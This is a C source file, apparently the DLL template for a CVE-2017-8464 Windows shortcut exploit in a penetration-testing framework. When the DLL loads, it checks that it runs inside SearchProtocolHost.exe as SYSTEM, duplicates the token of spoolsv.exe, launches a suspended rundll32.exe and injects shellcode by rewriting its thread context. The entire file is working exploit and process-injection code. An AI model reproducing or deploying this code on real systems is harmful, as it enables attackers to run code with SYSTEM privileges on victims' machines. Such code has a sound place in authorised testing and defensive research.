Path: blob/master/external/source/exploits/cve-2017-8464/template.c
21367 views
#include <windows.h>1#include <sddl.h>2#include <tchar.h>3#include <tlhelp32.h>4#include <userenv.h>56#include "template.h"78void ExecutePayload(HANDLE hDll);910BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {11switch (dwReason) {12case DLL_PROCESS_ATTACH:13ExecutePayload(hDll);14break;1516case DLL_PROCESS_DETACH:17break;1819case DLL_THREAD_ATTACH:20break;2122case DLL_THREAD_DETACH:23break;24}25return TRUE;26}2728BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {29int result;3031if (strlen(szStr) < strlen(szSuffix)) {32return FALSE;33}34if (bCaseSensitive) {35result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);36}37else {38result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);39}40return result == 0;41}4243BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {44HANDLE hToken;45DWORD dwLength = 0;46TOKEN_USER *tuUser = NULL;47SIZE_T szSid = 0;4849*pSid = NULL;50if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {51return FALSE;52}5354GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);55tuUser = (TOKEN_USER *)malloc(dwLength);56if (!tuUser) {57return FALSE;58}5960if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {61free(tuUser);62return FALSE;63}6465szSid = GetLengthSid(tuUser->User.Sid);66*pSid = LocalAlloc(LPTR, szSid);67if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {68LocalFree(*pSid);69*pSid = NULL;70}7172free(tuUser);73CloseHandle(hToken);74return *pSid != NULL;75}7677BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {78PSID pTestSid = NULL;79PSID pTargetSid = NULL;8081if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {82return FALSE;83}8485if (!GetProcessSid(hProc, &pTestSid)) {86LocalFree(pTargetSid);87return FALSE;88}8990*pbResult = EqualSid(pTestSid, pTargetSid);91LocalFree(pTargetSid);92LocalFree(pTestSid);93return TRUE;94}9596DWORD FindProcessId(LPCTSTR szProcessName) {97HANDLE hProcessSnap;98PROCESSENTRY32 pe32;99DWORD result = 0;100101hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);102if (hProcessSnap == INVALID_HANDLE_VALUE) {103return 0;104}105106pe32.dwSize = sizeof(PROCESSENTRY32);107if (!Process32First(hProcessSnap, &pe32)) {108CloseHandle(hProcessSnap);109return 0;110}111112do {113if (!strcmp(szProcessName, pe32.szExeFile)) {114result = pe32.th32ProcessID;115break;116}117} while (Process32Next(hProcessSnap, &pe32));118CloseHandle(hProcessSnap);119return result;120}121122HANDLE GetPayloadToken(void) {123HANDLE hTokenHandle = NULL;124HANDLE hProcessHandle = NULL;125BOOL bIsSystem = FALSE;126DWORD dwPid = 0;127CHAR Path[MAX_PATH + 1];128129ZeroMemory(Path, sizeof(Path));130GetModuleFileNameA(NULL, Path, MAX_PATH);131if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {132return NULL;133}134/* loaded into the context of SearchProtocolHost.exe */135136if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {137return NULL;138}139/* and running as NT_AUTHORITY SYSTEM */140141dwPid = FindProcessId("spoolsv.exe");142if (!dwPid) {143return NULL;144}145146hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);147if (!hProcessHandle) {148return NULL;149}150151bIsSystem = FALSE;152if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {153return NULL;154}155/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */156157OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);158CloseHandle(hProcessHandle);159return hTokenHandle;160}161162DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {163/* wait for the process to exit or 10 seconds before cleaning up */164WaitForSingleObject(pExploitData->hProcess, 10000);165CloseHandle(pExploitData->hProcess);166CloseHandle(pExploitData->hMutex);167168/* this does not return */169FreeLibraryAndExitThread(pExploitData->hModule, 0);170return 0;171}172173void ExecutePayload(HANDLE hDll) {174PROCESS_INFORMATION pi;175STARTUPINFO si;176CONTEXT ctx;177LPVOID ep;178SECURITY_ATTRIBUTES MutexAttributes;179SIZE_T dwBytesWritten = 0;180PEXPLOIT_DATA pExploitData = NULL;181HANDLE hToken;182183pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));184if (!pExploitData) {185return;186}187188/* keep a reference to the module for synchronization purposes */189GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));190191ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));192MutexAttributes.nLength = sizeof(MutexAttributes);193MutexAttributes.bInheritHandle = TRUE; // inherit the handle194pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");195if (!pExploitData->hMutex) {196return;197}198199if (GetLastError() == ERROR_ALREADY_EXISTS) {200CloseHandle(pExploitData->hMutex);201return;202}203204if (GetLastError() == ERROR_ACCESS_DENIED) {205CloseHandle(pExploitData->hMutex);206return;207}208209hToken = GetPayloadToken();210211ZeroMemory(&si, sizeof(si));212si.cb = sizeof(si);213214/* start up the payload in a new process */215if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {216ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;217GetThreadContext(pi.hThread, &ctx);218ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);219WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);220if (dwBytesWritten == SCSIZE) {221222#ifdef _WIN64223ctx.Rip = (DWORD64)ep;224#else225ctx.Eip = (DWORD)ep;226#endif227228SetThreadContext(pi.hThread, &ctx);229ResumeThread(pi.hThread);230231CloseHandle(pi.hThread);232pExploitData->hProcess = pi.hProcess;233}234}235236if (hToken) {237CloseHandle(hToken);238}239CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);240}241242243